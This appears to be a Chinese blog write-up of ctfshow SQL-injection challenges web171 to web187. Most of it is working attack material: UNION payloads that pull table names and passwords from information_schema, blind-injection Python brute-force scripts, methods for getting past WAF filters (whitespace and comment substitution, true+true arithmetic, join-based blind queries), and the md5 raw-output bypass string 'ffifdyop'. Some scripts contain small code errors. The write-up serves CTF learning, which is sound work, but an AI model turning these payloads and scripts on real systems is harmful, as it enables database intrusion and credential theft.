ctfshow sql注入171-187

sqli

  • 借此机会多学点sql语句,看看别人的语句是否奇妙

web171

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • 单引号注入 1 or true %23 #url编码

web172

1'order by 2 --+
//表
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
//列
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user2") --+
//数据
-1' union select 1,(select group_concat(password) from ctfshow_user2) %23

#别人的
-1' union select group_concat(table_name),1 from information_schema.tables where table_schema="ctfshow_web" --+

web173

#返回条件限制
 if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
1' order by 3--+
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
//列
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user3") --+
//数据
-1' union select 1,(select group_concat(password) from ctfshow_user3) %23
#虽然说都有限制条件,但是没有用到,但还是看到如何使用base64()绕过.to_base64函数,对回显结果的绕过
1' union select to_base64(id),to_base64(username),to_base64(password) from ctfshow_user3--+

web174

1' order by 2 --+
#联合查询和报错不行,盲注尝试
1' and ascii(substr(database(),1,1))>97 --+
  • 写脚本吧
  • burp抓包得到正确的url
    在这里插入图片描述
import requests

url = 'http://7b57df9f-da32-4ee7-960f-6d62b538666d.challenge.ctf.show:8080/api/v4.php'
ans = ''
#dirt = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
for i in range(50):
	#for j in dirt
	for j in range(32,128):
		#payload = f"?id=1' and ascii(substr(database(),{i},1))={j} --+"
		#payload = f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={j} --+"
		#payload = f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name=\"ctfshow_user4\"),{i},1))={j} --+"
		payload = f"?id=1' and ascii((select password from ctfshow_user4 where username=\"flag\"),{i},1))={j} --+"
		resp = requests.get(url+payload)
		if 'admin' in resp.text:
			ans += chr(j)
			print(ans)
			break

web175

  • 无回显,但是在这里插入图片描述
1' order by 2 --+
1' and if(1=1,sleep(2),1) --+
import requsets
import time

web176

  • 过滤了什么没发现,直接试出数据
1' or 1=1 --+

web177

  • 过滤空格,并且不使用–+ 使用 %23==#
#str = "-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3%23"
#str = "-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'),3%23"

str = "-1' union select 1,(select group_concat(password) from ctfshow_user),3%23"
print(str.replace(' ','/**/'))

web178

  • 过滤空格和/**/
  • 使用上面脚本继续使用%0a
  • 一般绕过空格方式%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ (),一些指标符,换行符等url编码和内联查询

web179

  • %0c

web180

  • 参考博客
  • 过滤%23,也就是过滤注释符。上网查一下 ‘1’='1尝试绕过。在最后拼接having '1'='1
  • -1'or%0cid=26%0chaving'1'='1
  • 看到别人文章,还可以-1'or(id=26)and'1

web181

  • 与上题差不多

web182

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

-1'or(id=26)and'1

web183

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
//返回逻辑
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }
//查询语句
tableName=(ctfshow_user)where(substr(pass,1,1))like"c"
  • ctfshow sql注入171-187_第1张图片
  • 根据查询结果猜测内容,写脚本
import requests

url = 'http://729998b5-38c7-4365-885e-ec1f027374fb.challenge.ctf.show:8080/select-waf.php'
dirt = '0123456789abcdefghijklmnopqrstuvwxyz{}-'
flag = ''
for i in range(1,50):
    for j in dirt:
        data = {'tableName':'(ctfshow_user)where(substr(pass,%d,1))like"%s"'%(i,j)}

        resp = requests.post(url=url,data=data)

        if '$user_count = 1;' in resp.text:
            flag += j;
            print(flag)
            break
//注意格式化字符串

web184

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
 //过滤where

right join盲注
tableName=ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,1,1)) like 0x63

import requests

url = 'http://ab7d9400-c6a3-493c-a9d2-c83120a5dfbc.challenge.ctf.show:8080/select-waf.php'
dirt = '0123456789abcdefghijklmnopqrstuvwxyz{}-'
flag = ''
for i in range(1,50):
    for j in dirt:
        data = {'tableName':'ctfshow_user as x right join ctfshow_user as y on (substr(y.pass,{},1)) like {}'.format(i,hex(ord(j)))}

        resp = requests.post(url=url,data=data)

        if '$user_count = 43;' in resp.text:
            flag += j;
            print(flag)
            break

web185

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

//过滤数字,没有过滤空格

  • 在sql语句中,一个true可以代表1ctfshow sql注入171-187_第2张图片

  • true+true+true = 3因此绕过对数字的过滤

  • regexp代表正则表达式

#我们不生产脚本,我们只是脚本的搬运工
import requests

def numTrue(i):
	num = 'true'
	if i==1:
		return 'true'
	else:
		num += '+true'*(i-1)
		return num

url = 'http://1199b8d6-35bb-42fd-ba48-d30ff3000b6f.challenge.ctf.show:8080/select-waf.php'
flag = 'ctfshow'
data = {}
for i in range(8, 46):
        for j in r'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}':
            k = ord(j)
            data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on (substr(x.pass,{numTrue(i)},{numTrue(1)})regexp(char({numTrue(k)})))"
#不使用正则就使用修改过的
#data['tableName'] = f"ctfshow_user as x left join ctfshow_user as y on ascii((substr(x.pass,{numTrue(i)},{numTrue(1)})))like {numTrue(k)}"
            res = requests.post(url, data=data)
            if '$user_count = 43;' in res.text:
                flag = flag + j
                print(flag)
                break
小小总结:
ord() 将ASCII码转化成对应数字,不用在使用range(32,128)
chr()将数字转化成对应ASCII码
regexp  php正则。
char()在php中将数字转化成ASCII
ascii()转化ASCII码,like对等于替换

right/left join语句
Table_name.Column_name 可以查表内容 sql语句

web186

  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  • 上题脚本继续用

web187

//查询
 $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
 
//返回
 $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
  • 针对md5($password,true)的绕过。
  • password在md5加密后变为 xxx' or true的形式
ffifdyop



结果:'or'6?]??!r,??b
闭合引号,成功查询

不止这一个,需要的话上网查询

你可能感兴趣的:(CTF,sql,数据库)